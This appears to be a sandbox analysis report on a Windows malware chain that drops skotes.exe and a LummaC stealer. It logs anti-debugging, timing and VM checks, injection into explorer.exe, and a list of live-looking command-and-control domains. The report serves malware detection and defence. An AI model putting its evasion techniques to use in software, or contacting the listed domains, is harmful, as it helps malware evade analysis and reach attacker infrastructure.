Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0BA4 second address: 4CB0BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6D1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0C02 second address: 4CB0C18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0C18 second address: 4CB0C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0C33 second address: 4CB0C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0C39 second address: 4CB0C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0C3D second address: 4CB0C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0D28 second address: 4CC0D3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0D3E second address: 4CC0D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push edx 0x0000000c mov ch, D4h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FFB34C126C0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0D5F second address: 4CC0D98 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FFB34E3B6D2h 0x00000008 add al, FFFFFFE8h 0x0000000b jmp 00007FFB34E3B6CBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007FFB34E3B6CBh 0x0000001d push eax 0x0000001e pop edx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0B4B second address: 4CC0B7A instructions: 0x00000000 rdtsc 0x00000002 mov eax, 166E1871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx ecx, di 0x0000000c popad 0x0000000d push esp 0x0000000e pushad 0x0000000f mov cl, 73h 0x00000011 mov ecx, ebx 0x00000013 popad 0x00000014 mov dword ptr [esp], ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FFB34C126C6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4070E second address: 4D40733 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB34E3B6CDh 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E0EB04 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FBFF3D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FC0307 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FBEE0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3CEB04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 57FF3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 580307 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 57EE0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Special instruction interceptor: First address: B37CAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Special instruction interceptor: First address: B37DAD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Special instruction interceptor: First address: CCD7FD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Special instruction interceptor: First address: D62DF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Special instruction interceptor: First address: E32CA8 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D304D9 rdtsc

0_2_04D304D9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1272	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1271	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1415	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1399	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4565
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3977
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4389
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1522

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7948	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7948	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7924	Thread sleep count: 1272 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7924	Thread sleep time: -2545272s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7904	Thread sleep count: 287 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7904	Thread sleep time: -8610000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7944	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7944	Thread sleep time: -90045s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7940	Thread sleep count: 1271 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7940	Thread sleep time: -2543271s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7920	Thread sleep count: 1415 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7920	Thread sleep time: -2831415s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7932	Thread sleep count: 1399 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7932	Thread sleep time: -2799399s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe TID: 7064	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe TID: 5936	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5844	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5272	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3156	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe TID: 4076	Thread sleep time: -450000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe TID: 4076	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Program Files\Windows Media Player\graph\graph.exe	Last function: Thread delayed
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Last function: Thread delayed
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Last function: Thread delayed
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Last function: Thread delayed
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Publishers	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\SolidDocuments	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000000.2300264447.0000000000562000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmp, 0516ff61af.exe, 00000007.00000002.2666217072.0000000000CAE000.00000040.00000001.01000000.00000009.sdmp, 1b73492cb0.exe, 0000002D.00000002.2989040800.0000000000D7E000.00000040.00000001.01000000.00000014.sdmp, file.exe, skotes.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 0516ff61af.exe, 00000007.00000003.2478796488.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2665798846.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2583228573.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000002.2667135562.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2501717799.00000000013D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWU
Source: skotes.exe, 00000006.00000002.2990887486.0000000000B78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: ed15fdf974.exe, 0000002F.00000002.2988356074.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3n
Source: 1b73492cb0.exe, 0000002D.00000002.2992166550.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu#V
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 0516ff61af.exe, 00000007.00000003.2478796488.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2665798846.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2583228573.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2665588166.000000000139A000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000002.2666977755.000000000139A000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000002.2667135562.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2501717799.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000002.2715905894.000002479E9AC000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2674242407.000002479E9B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Gxtuum.exe, 00000031.00000002.2987689821.0000000001617000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000002.1759612145.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\4
Source: file.exe, skotes.exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: PING.EXE, 00000029.00000002.2805830068.0000019C4C22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: PING.EXE, 0000002C.00000002.2810412359.0000016463CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllnn

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D30A25 Start: 04D30A3A End: 04D30A34

0_2_04D30A25

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D304D9 rdtsc

0_2_04D304D9

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD652B mov eax, dword ptr fs:[00000030h]	0_2_00DD652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DDA302 mov eax, dword ptr fs:[00000030h]	0_2_00DDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0039A302 mov eax, dword ptr fs:[00000030h]	1_2_0039A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0039652B mov eax, dword ptr fs:[00000030h]	1_2_0039652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0039A302 mov eax, dword ptr fs:[00000030h]	2_2_0039A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0039652B mov eax, dword ptr fs:[00000030h]	2_2_0039652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0039A302 mov eax, dword ptr fs:[00000030h]	6_2_0039A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0039652B mov eax, dword ptr fs:[00000030h]	6_2_0039652B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1800 base: 9E1010 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5416 base: 589010 value: 00

LummaC encrypted strings found

Source: 0516ff61af.exe, 00000007.00000002.2666134637.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 0516ff61af.exe, 00000007.00000002.2666134637.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: crosshuaht.lat
Source: 0516ff61af.exe, 00000007.00000002.2666134637.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: sustainskelet.lat
Source: 0516ff61af.exe, 00000007.00000002.2666134637.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: aspecteirs.lat
Source: 0516ff61af.exe, 00000007.00000002.2666134637.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: energyaffai.lat
Source: 0516ff61af.exe, 00000007.00000002.2666134637.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: necklacebudi.lat
Source: 0516ff61af.exe, 00000007.00000002.2666134637.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: discokeyus.lat
Source: 0516ff61af.exe, 00000007.00000002.2666134637.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: grannyejh.lat
Source: 0516ff61af.exe, 00000007.00000002.2666134637.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: cheapptaxysu.click
Source: ed15fdf974.exe, 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: treehoneyi.click

Modifies the context of a thread in another process (thread injection)

